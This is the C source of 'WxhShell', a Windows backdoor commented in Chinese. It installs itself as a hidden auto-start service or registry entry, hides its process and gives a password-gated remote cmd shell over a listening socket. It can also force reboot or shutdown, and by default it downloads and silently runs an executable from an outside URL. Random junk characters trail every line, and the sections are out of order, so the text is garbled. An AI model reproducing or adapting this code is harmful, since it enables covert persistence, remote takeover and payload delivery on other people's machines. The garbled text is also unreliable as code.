    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vsJDVJ +=  
    if(Boot(SHUTDOWN)) <`WcI`IA b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d>V#?1$h  
    else { F?t;bV  
    closesocket(wsh); a%5/Oc[[  
    ExitThread(0); + ]iK^y-.r  
    } }ld^zyL  
    break; ^U##9KkP  
    } LCW}1H:Q  
  // 获取shell &Bqu2^^  
  case 's': {  HlEHk'  
    CmdShell(wsh); dSe d 6  
    closesocket(wsh); Mbn;~tY>  
    ExitThread(0); -q\Rbb5M  
    break; @2;cv?i)  
  } -d^'-s  
  // 退出 N_/+B]r }T  
  case 'x': { qfjUJ/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $W%-Mm  
    CloseIt(wsh); W}#n.c4+  
    break; wF3 MzN=%  
    } '4CD }  
  // 离开 KDb`g}1Q  
  case 'q': { 0 {  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1iqgVby  
    closesocket(wsh); y+KAL{AGK  
    WSACleanup(); uW2  q\  
    exit(1); eD7qc1*G  
    break; MGY0^6yK5  
        } |a %Wd  
  } hzT)5'_  
  } F|@\IVEB]  
Tgh?=]H  
  // 提示信息 -hc8IS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v0?SN>fZ  
} vmh>|N4a7  
  } 3gnO)"$  
RC?vU  
  return; >P]gjYN  
} xsiJI1/68  
Z{gm4YV  
// shell模块句柄 ;#9ioG x  
int CmdShell(SOCKET sock) %> 5>wP   
{ _?bO /y_y  
STARTUPINFO si; .h\Py[h<^  
ZeroMemory(&si,sizeof(si)); |>Fz:b d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V7.g,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u:mndTpB6x  
PROCESS_INFORMATION ProcessInfo; xP/q[7>#Q  
char cmdline[]="cmd"; g@T}h[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #2Iag' 4T  
  return 0; SPXv i0Jg  
} K$w;|UJc  
`5!AHQ/  
// 自身启动模式 g> ~+M  
int StartFromService(void) $/|vbe,  
{ g>k?03;  
typedef struct ]"~ x  
{ Y B,c=Wx  
  DWORD ExitStatus; kW1w;}n$  
  DWORD PebBaseAddress; @_7rd  
  DWORD AffinityMask; Hp>L}5 y[  
  DWORD BasePriority; WA0D#yuJ/  
  ULONG UniqueProcessId; pWq+`|l$  
  ULONG InheritedFromUniqueProcessId; !0vLSF=  
}   PROCESS_BASIC_INFORMATION; 43]y]/do  
v5@M 34  
PROCNTQSIP NtQueryInformationProcess; &AWrM{e  
}2iR=$2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H5 V>d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *C<;yPVc  
>oO]S]W  
  HANDLE             hProcess; Z4rk$K'=1w  
  PROCESS_BASIC_INFORMATION pbi; dfKGO$}V  
r7L.W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1z-A3a/-  
  if(NULL == hInst ) return 0; 5+;Mc[V3-  
IvlfX`("  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jM @N<k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0{ ~2mggh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L`X5\D'X  
a(=lQ(v/?  
  if (!NtQueryInformationProcess) return 0; @0]WMI9B"B  
- jCj_@n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?$T^L"~  
  if(!hProcess) return 0; w52p y7  
fGqX dlP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AI|+*amTd  
^i_+ugJX  
  CloseHandle(hProcess); W`NF40)  
<oV[[wl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i q oXku  
if(hProcess==NULL) return 0; bX,#z,  
(CY D]n  
HMODULE hMod; ZWo~!Z[Y  
char procName[255]; k54\H.  
unsigned long cbNeeded; `-OzjbM  
Ff(};$/& W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NkO+ )=  
\"))P1  
  CloseHandle(hProcess); `GdH ,:S>  
{Dk!<w I)  
if(strstr(procName,"services")) return 1; // 以服务启动 d;]m wLB0  
E #B$.K  
  return 0; // 注册表启动 J-<_e??  
} /I!62?)-*  
3Ovx)qKxd  
// 主模块 ,[zSz8R  
int StartWxhshell(LPSTR lpCmdLine) ;Q^>F6+_m  
{ BxjSo^n  
  SOCKET wsl; (RV#piM  
BOOL val=TRUE; >}%#s`3W1_  
  int port=0; `[g$EXX  
  struct sockaddr_in door; ES AX}uF  
r)>3YM5  
  if(wscfg.ws_autoins) Install(); F8"J<VJ7  
)E*f30  
port=atoi(lpCmdLine); @j_o CDS  
h7^&:  
if(port<=0) port=wscfg.ws_port; P.C?/7$7Z+  
|Z{#DOT  
  WSADATA data; ?d^6ynzn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \X _}\_c,d  
_uLpU4# ?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BDvkY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,]7ouH$H}  
  door.sin_family = AF_INET; <%Nf"p{K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t(6]j#5   
  door.sin_port = htons(port); }DS%?6}Sy  
GIH{tr1:<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wT\BA'VQ  
closesocket(wsl); 't&1y6Uu  
return 1; \t&! &R#  
} TB* t^ E  
k6&~)7 -f  
  if(listen(wsl,2) == INVALID_SOCKET) {  Ux*xz|^  
closesocket(wsl); ]vvA]e  
return 1; Sx'oa$J  
} 7@\.()  
  Wxhshell(wsl); "Zh,;)hS  
  WSACleanup(); L"vrX  
wbAwmOiZ  
return 0; Gd_0FF.  
,v K%e>e&  
} {VW\EOPV~  
Pz{MYw  
// 以NT服务方式启动 4KtD  k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oI/_WY[t  
{ * 3fl}l  
DWORD   status = 0; B qX"La,  
  DWORD   specificError = 0xfffffff; I3Z?xsa@Z  
R}gdN-941  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \efDY[j/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S',h*e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &gY578tU  
  serviceStatus.dwWin32ExitCode     = 0; r=0PW_r:  
  serviceStatus.dwServiceSpecificExitCode = 0; |ugdl|f  
  serviceStatus.dwCheckPoint       = 0; SyVXXk 0  
  serviceStatus.dwWaitHint       = 0; #%@bZ f  
gfj_]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CLzF84@W=  
  if (hServiceStatusHandle==0) return; hS8M|_  
T&dNjx  
status = GetLastError(); jq%<Z,rh  
  if (status!=NO_ERROR) H\oxj,+N  
{ ]jxyaE&%4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~*/ >8R(Y  
    serviceStatus.dwCheckPoint       = 0; @i!+Z  
    serviceStatus.dwWaitHint       = 0; <Y7j'n  
    serviceStatus.dwWin32ExitCode     = status; /~u^@@.  
    serviceStatus.dwServiceSpecificExitCode = specificError; +bLP+]7oZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )VkVZf | S  
    return; 6Q7=6  
  } nt$P A(Y  
dxAGO(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,$:u^;V(  
  serviceStatus.dwCheckPoint       = 0; k- 9i  
  serviceStatus.dwWaitHint       = 0; nMzt_IlI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hq 5#.rZ#  
} ejZ-A?f-K  
y,`n9[$K\  
// 处理NT服务事件,比如:启动、停止 >~Zj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X}(X\rp  
{ [-VH%OM  
switch(fdwControl) j!i* &  
{ I F6$@Q  
case SERVICE_CONTROL_STOP: 8|)!E`TKSV  
  serviceStatus.dwWin32ExitCode = 0; g $Y]{VM.J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :?zq!  
  serviceStatus.dwCheckPoint   = 0; G{fPQ=  
  serviceStatus.dwWaitHint     = 0; ]vz6DJs  
  { 8%m\J:e R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g4=1['wW  
  } t;VMtIW+E  
  return; c=\_[G(  
case SERVICE_CONTROL_PAUSE: xIm2t~io  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'yX\y 6I  
  break; ; X+tCkzF  
case SERVICE_CONTROL_CONTINUE: e8> X5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {AD-p!6G  
  break; j[:70%X  
case SERVICE_CONTROL_INTERROGATE: ]rj~3du\  
  break; RNw#s R  
}; WLXt@dK*u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,dQ*0XO!  
} l hYJectJa  
Al*=%nY  
// 标准应用程序主函数 8Pa*d/5Y(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '+/mt_re=  
{ 9ns( F:  
fDns r" T  
// 获取操作系统版本 4N$Wpx  
OsIsNt=GetOsVer(); iu=Mq|t0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J[6/dM  
elGBX h  
  // 从命令行安装 `PtB2,?  
  if(strpbrk(lpCmdLine,"iI")) Install(); rhPv{6Z|7  
& n@hD7=(  
  // 下载执行文件 .jqil0#)Y"  
if(wscfg.ws_downexe) { jc_k\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /r'Fq =z  
  WinExec(wscfg.ws_filenam,SW_HIDE); >$rH,Er  
} }w35fG^  
]l fufjj  
if(!OsIsNt) { H if| z[0$  
// 如果时win9x,隐藏进程并且设置为注册表启动 (Ud"+a  
HideProc(); 9?ll(5E  
StartWxhshell(lpCmdLine); A]0R?N9wb_  
} H4 O"^#5  
else v1yB   
  if(StartFromService()) [C4{C4TX  
  // 以服务方式启动 q[qX O5  
  StartServiceCtrlDispatcher(DispatchTable); nw/g[/<;  
else Zc_F"KJL  
  // 普通方式启动 6/wC StZ  
  StartWxhshell(lpCmdLine); Kn$E{F\  
<`SA >P  
return 0; 83V\O_7j  
} #pAN   
}|Q\@3&  
kK}?NKqT  
2 oL$I(83  
=========================================== C<a&]dN/  
h& 4#5{=  
ZK t{3P  
cLL2 '  
h#UPU7;  
Z<d=v3q  
" ?H_@/?  
D]iyr>V6'  
#include <stdio.h> 8~,zv_Pl  
#include <string.h> '>|K d{J0  
#include <windows.h> 09vVCM;DY  
#include <winsock2.h> a+v.(mCG  
#include <winsvc.h> sSKD"  
#include <urlmon.h> KS5a8'U  
ehr\lcS<  
#pragma comment (lib, "Ws2_32.lib") 8hww({S2  
#pragma comment (lib, "urlmon.lib") X=?9-z] QO  
u8?$W%eW  
#define MAX_USER   100 // 最大客户端连接数 g; -3  
#define BUF_SOCK   200 // sock buffer Jb> X$|N'%  
#define KEY_BUFF   255 // 输入 buffer Da[#X`Kp$  
Y]6d Yq{k  
#define REBOOT     0   // 重启 KI\bV0$p<  
#define SHUTDOWN   1   // 关机 L:&'z:,<  
e`LvHU_0  
#define DEF_PORT   5000 // 监听端口 %F150$(D  
\>oy2{=;'  
#define REG_LEN     16   // 注册表键长度 oc-&}R4=  
#define SVC_LEN     80   // NT服务名长度 GJU(1%-  
imM#zy  
// 从dll定义API t 4M-;y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a6 :hH@,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T-4dD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3jfAv@I~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |ul{d|  
% mPv1$FH  
// wxhshell配置信息 'e<8j  
struct WSCFG { FU*q9s`  
  int ws_port;         // 监听端口 fS'` 9  
  char ws_passstr[REG_LEN]; // 口令 \ 6taC  
  int ws_autoins;       // 安装标记, 1=yes 0=no {l/`m.Z  
  char ws_regname[REG_LEN]; // 注册表键名 1jzu-s ,F  
  char ws_svcname[REG_LEN]; // 服务名 G 9 &,`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7ieAd/:_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w ?"M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (O!CH N!:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &%(Dd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `N}V i6FG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QaE!?R  
(8ct'Q;  
}; ^pY8'LF6  
EUrIh2.Z  
// default Wxhshell configuration ,qB@agjvo<  
struct WSCFG wscfg={DEF_PORT, e+#k\x   
    "xuhuanlingzhe", Ht}?=ZzW  
    1, v`Y{.>[H[  
    "Wxhshell", Vy/G-IASb  
    "Wxhshell", $mAyM+ ph[  
            "WxhShell Service", h4ntjk|{i7  
    "Wrsky Windows CmdShell Service", p/LV^TQ  
    "Please Input Your Password: ", GHi'ek<?^  
  1, @+Nf@LJ  
  "http://www.wrsky.com/wxhshell.exe", uTO%O}D N  
  "Wxhshell.exe" M;AvOk|&  
    }; pIpdVKen  
M|@@ LJ'  
// 消息定义模块 ] NW_oRH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hv' OO@z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +S#Xm4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mg}/gO% o  
char *msg_ws_ext="\n\rExit."; gE*7[*2?t  
char *msg_ws_end="\n\rQuit."; zFYzus`>  
char *msg_ws_boot="\n\rReboot..."; 'O2/PU2_  
char *msg_ws_poff="\n\rShutdown..."; f#I#24)RH  
char *msg_ws_down="\n\rSave to "; T#Bj5H  
G"L`9E<0V  
char *msg_ws_err="\n\rErr!"; 3,hu3"@k  
char *msg_ws_ok="\n\rOK!"; ]M"U 'Z  
^HuB40  
char ExeFile[MAX_PATH]; 4kV$JV.l  
int nUser = 0;  (t@!0_5  
HANDLE handles[MAX_USER];  N?,  
int OsIsNt; BVus3Y5IJQ  
BSr#;;\  
SERVICE_STATUS       serviceStatus; c1R[Hck  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H<nA*Zf2@R  
XN\rq=  
// 函数声明 #Rs5W  
int Install(void); .*+jD^Gr  
int Uninstall(void); T~ XKV`LQ  
int DownloadFile(char *sURL, SOCKET wsh); 3)e{{]6  
int Boot(int flag); kQ2WdpZ/  
void HideProc(void); <dXeP/1w`  
int GetOsVer(void); I+3=|Ve f  
int Wxhshell(SOCKET wsl); fX\y/C  
void TalkWithClient(void *cs); qv:DpK  
int CmdShell(SOCKET sock); o7PS1qcya<  
int StartFromService(void); j}J=ZLr/V"  
int StartWxhshell(LPSTR lpCmdLine); _ q>|pt.W  
,j(E>g3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]70ZerQ~L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &VCg`r-{~  
EK Q>hww8  
// 数据结构和表定义 )@tHS-Jf  
SERVICE_TABLE_ENTRY DispatchTable[] = -~_|ZnuM9  
{ y>T>  
{wscfg.ws_svcname, NTServiceMain}, s`v$r,N0  
{NULL, NULL} y La E]  
}; Be\@n xV[  
Jko=E   
// 自我安装  Bw+ ?MdS  
int Install(void) :7Uv)@iUk  
{ '<e$ c  
  char svExeFile[MAX_PATH]; 4}*.0'Hz  
  HKEY key; 9`^(M^|c  
  strcpy(svExeFile,ExeFile); k`z]l;:  
S|6i]/  
// 如果是win9x系统,修改注册表设为自启动 xj AU Csq  
if(!OsIsNt) {  VS7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U ){4W0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3=Uyt  
  RegCloseKey(key); ?Ycl!0m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nC?Lz1re  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VT~%);.#  
  RegCloseKey(key); dd +lQJ c  
  return 0; k#/cdK!K  
    } #2Vq"Zn  
  } p)m5|GH24  
} >b:5&s\9  
else { *c$UIg  
mxpw4  
// 如果是NT以上系统,安装为系统服务 '|Lv -7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f|/ ,eP$  
if (schSCManager!=0) g"c7$  
{ 2BT+[  
  SC_HANDLE schService = CreateService Gfy9YH~  
  ( CeUXGa|C  
  schSCManager, ;"RyHow  
  wscfg.ws_svcname, V)u#=OS  
  wscfg.ws_svcdisp, MpJ\4D5G  
  SERVICE_ALL_ACCESS, '0o^T 7C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *]Cyc<  
  SERVICE_AUTO_START, Rz&}e@stl  
  SERVICE_ERROR_NORMAL, -Oz! GX  
  svExeFile, >'WTVj`  
  NULL, xwHE,ykE  
  NULL, c7WOcy@M  
  NULL, ZnuRy:  
  NULL, A9J{>f  
  NULL F,K))325  
  ); v:9'k~4)  
  if (schService!=0) LN5q_ZvR  
  { ~6QV?j  
  CloseServiceHandle(schService); OJM2t`}_t  
  CloseServiceHandle(schSCManager); 9q[[ ,R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B| M@o^Tf  
  strcat(svExeFile,wscfg.ws_svcname); 0~DsA Ua  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j+gh*\:q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S+^hK1jL  
  RegCloseKey(key); m*i,|{UZ  
  return 0; Imclz4'8  
    } FlrYXau  
  } #e@[{s7  
  CloseServiceHandle(schSCManager); 5'w&M{{9  
} OCCC' k  
} ^'+#BPo9@  
%@ q2  
return 1; vkG%w;  
} 9U )9u["DH  
T@zp'6\H  
// 自我卸载 )!G 10  
int Uninstall(void) nT}i&t!q8@  
{ Q{miI N  
  HKEY key; \.P#QVuQ  
:w4N*lV-  
if(!OsIsNt) { m?8o\|i,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rH\oFCzC  
  RegDeleteValue(key,wscfg.ws_regname); R'atg 9  
  RegCloseKey(key); fI=p^k:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *UG?I|l|I  
  RegDeleteValue(key,wscfg.ws_regname); $kkL)O*"]  
  RegCloseKey(key); NH=@[t) P,  
  return 0; iex]J@=e  
  } {FILt3f;  
} * {p:C  
} N6A|  
else { xnw'&E  
(VHPcoL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WV p6/HS  
if (schSCManager!=0) ]zIIi%  
{ \SYeDy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &#.>-D{  
  if (schService!=0) 2Ib 1D  
  { sP=^5K`g  
  if(DeleteService(schService)!=0) { ]j$(so"  
  CloseServiceHandle(schService); mGF)Ot R  
  CloseServiceHandle(schSCManager); h^14/L=|  
  return 0; qc3,/JO1  
  } @ @(O##(7  
  CloseServiceHandle(schService); 0| =y#`;,Z  
  } +-5YmN'  
  CloseServiceHandle(schSCManager); I@#IXH?6  
} ,WW=,P  
} Z,~@_;F  
M@*Y&(~  
return 1; z|(<Co8#.  
} :vaVghN\  
Wu8zK=Ve(  
// 从指定url下载文件 fZnq5rTk"  
int DownloadFile(char *sURL, SOCKET wsh) 0[7"Lhpd  
{ XCXX(8To0=  
  HRESULT hr; "zqa:D26  
char seps[]= "/"; [l<&eI&ln  
char *token; A2P.5EN  
char *file; 1jPh0?BY  
char myURL[MAX_PATH]; l=$?#^^ /  
char myFILE[MAX_PATH]; Wk!<P" nHd  
?@6Zv$vZ  
strcpy(myURL,sURL); 'coY`B; 8  
  token=strtok(myURL,seps); 3RFU  
  while(token!=NULL) 53bVhPGv  
  { giesof  
    file=token; G)o:R iq  
  token=strtok(NULL,seps); 5EECr \*  
  } P{StF`>Y  
w:R#F( 'B  
GetCurrentDirectory(MAX_PATH,myFILE); FNo.#Z5+b  
strcat(myFILE, "\\"); n(SeJk%>9  
strcat(myFILE, file); q{f (T\  
  send(wsh,myFILE,strlen(myFILE),0); 8 ~Pdr]5  
send(wsh,"...",3,0); Np$ue }yr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l2Rnyb<;;  
  if(hr==S_OK) h1f 05  
return 0; j|XL$Q  
else -q? ,  
return 1; ]kO|kIs  
VAqZ`y  
} .}(X19R  
|PGTP#O<  
// 系统电源模块 95ix~cH3q  
int Boot(int flag) TWfk r  
{ .%M80X{5~  
  HANDLE hToken; .CW,Td3f!  
  TOKEN_PRIVILEGES tkp; _E/  
"2 :zWh7|  
  if(OsIsNt) { y!q`o$nK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b+$wx~PLi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;r.#|b  
    tkp.PrivilegeCount = 1; 0eK>QZ_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "/3YV%to-#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {)Shc;Qh  
if(flag==REBOOT) {  um2}XI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wq}W )E  
  return 0; nmyDGuzk  
} >Y|P+Z\7  
else { pP#|: %  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kD)]\   
  return 0; )Z\Zw~L  
} /2tP d  
  } 15Jc PDV  
  else { >?ec"P%vS/  
if(flag==REBOOT) { {L7+lz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8VC%4+.FF  
  return 0; tOo\s&j  
} ogJ';i/o  
else { f=7[GZoDn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,8!'jE[d  
  return 0; = U[$i"+  
} H%i [;  
} 2NB $(4/  
8CH9&N5W5t  
return 1; 6#a82_  
} C+dz0u3s  
9eR";Wm])  
// win9x进程隐藏模块 'rVB2 `z-  
void HideProc(void) Id8e%)  
{ DwWm(8&6;}  
C@pn4[jTl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OXB 5W#$  
  if ( hKernel != NULL ) *R7bI?ow  
  { I<Mb /!TQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oE0~F|(\1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gQ<{NQMzvd  
    FreeLibrary(hKernel); Xxj<Ai 2  
  } 4RH>i+)pS\  
5s>>] .%  
return; TFz k5  
} ~c*kS E2X  
dh%DALZ8t  
// 获取操作系统版本 V`1x![\  
int GetOsVer(void) 6l2Os $  
{ ?>gr9w\  
  OSVERSIONINFO winfo; S9'Xsh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /wkrfYRs  
  GetVersionEx(&winfo); MIN}5kc<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O:imX>|u  
  return 1; a^Q ?K\c4N  
  else sI{?4k  
  return 0; :% +9y @%  
} V=YDqof  
$)KNpdXh  
// 客户端句柄模块 SA%)xGRW  
int Wxhshell(SOCKET wsl) rMw$T=Oi  
{ QB ;TQZ  
  SOCKET wsh; yf4 i!~  
  struct sockaddr_in client; ~3%aEj  
  DWORD myID; Y3 -f68*(  
xZ SDA8kS  
  while(nUser<MAX_USER) gtqtFrleG  
{ S@TfZ3Go|  
  int nSize=sizeof(client); &MB1'~Q,hq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `\/\C[Gg  
  if(wsh==INVALID_SOCKET) return 1; $FZcvo3@*S  
jzwHb'4B3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aN!,\D  
if(handles[nUser]==0) ,kl``w|1M  
  closesocket(wsh); *)vy%\  
else R0|4KT-i  
  nUser++; ;hh.w??  
  } AOz~@i^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +4Q1s?`  
7;Vmbt9  
  return 0; '?LqVzZI  
} -<e_^  
\!%~( FM  
// 关闭 socket %MEWw  
void CloseIt(SOCKET wsh) +"|TPKas  
{ <)"i'v $  
closesocket(wsh); ^),;`YXZ  
nUser--; _ x$\E  
ExitThread(0); }FX:sa?5  
} fUOQ(BGp  
HYZp= *eb  
// 客户端请求句柄 S>Gb Jt(]  
void TalkWithClient(void *cs) d@tNlFfS  
{ Q!I><u  
j(M.7Z7^  
  SOCKET wsh=(SOCKET)cs; Bw9O)++  
  char pwd[SVC_LEN]; c4s,T"H  
  char cmd[KEY_BUFF]; H;[?8h(  
char chr[1]; =Q6JXp  
int i,j; y I[kaH"J  
9! yDZ<s  
  while (nUser < MAX_USER) { BL-7r=Z  
6_:KFqc W  
if(wscfg.ws_passstr) { w{4#Q[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iRM ?_|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &v feBth  
  //ZeroMemory(pwd,KEY_BUFF); ME.!l6lm\  
      i=0; Qtt3;5m  
  while(i<SVC_LEN) { n;QFy5HB8  
_:Jma  
  // 设置超时 [fs.D /  
  fd_set FdRead; S%wd Xe  
  struct timeval TimeOut; j%':M  
  FD_ZERO(&FdRead); x1" 8K  
  FD_SET(wsh,&FdRead); N(O* "1b  
  TimeOut.tv_sec=8; NFf` V  
  TimeOut.tv_usec=0; 0W~1v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L(C0236r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f>m ! }F:  
#IJ6pg>K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X+ /^s)  
  pwd=chr[0]; \KKE&3=  
  if(chr[0]==0xd || chr[0]==0xa) { ~y/qm [P  
  pwd=0; "#h/sAIs  
  break; `1#Z9&bO  
  } 9"}5jq4*  
  i++; o :j'd  
    } >D_)z/v?"  
$2a_!/  
  // 如果是非法用户,关闭 socket 6zGeGW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]H<}6}Gd  
} V|/N-3M  
?.c:k;j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6w_TL< S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =%B}8$.|  
*o<|^,R  
while(1) { O>9-iqP>`d  
v9Lf|FXo&  
  ZeroMemory(cmd,KEY_BUFF); k4` %.;  
i 1GQ=@  
      // 自动支持客户端 telnet标准   we kb&?  
  j=0; Fz| r[  
  while(j<KEY_BUFF) { 6p.y/LMO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5fLp?`T  
  cmd[j]=chr[0]; n' 1LNi  
  if(chr[0]==0xa || chr[0]==0xd) { c2]h.G83  
  cmd[j]=0; S$a.8Xh  
  break; ET%F+  
  } R''2o_F6  
  j++; )r(e\_n  
    } s~c cx"HH  
KbH|'/w  
  // 下载文件 6B}V{2  
  if(strstr(cmd,"http://")) { G}aM~,v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X<f4X"y  
  if(DownloadFile(cmd,wsh)) Ty*+?#`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V|<'o<h8  
  else lQ4$d{m`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q,};O$h  
  } TeyFq0j@'  
  else { X9rao n  
_<?z-K_;I  
    switch(cmd[0]) { T ^ #1T$  
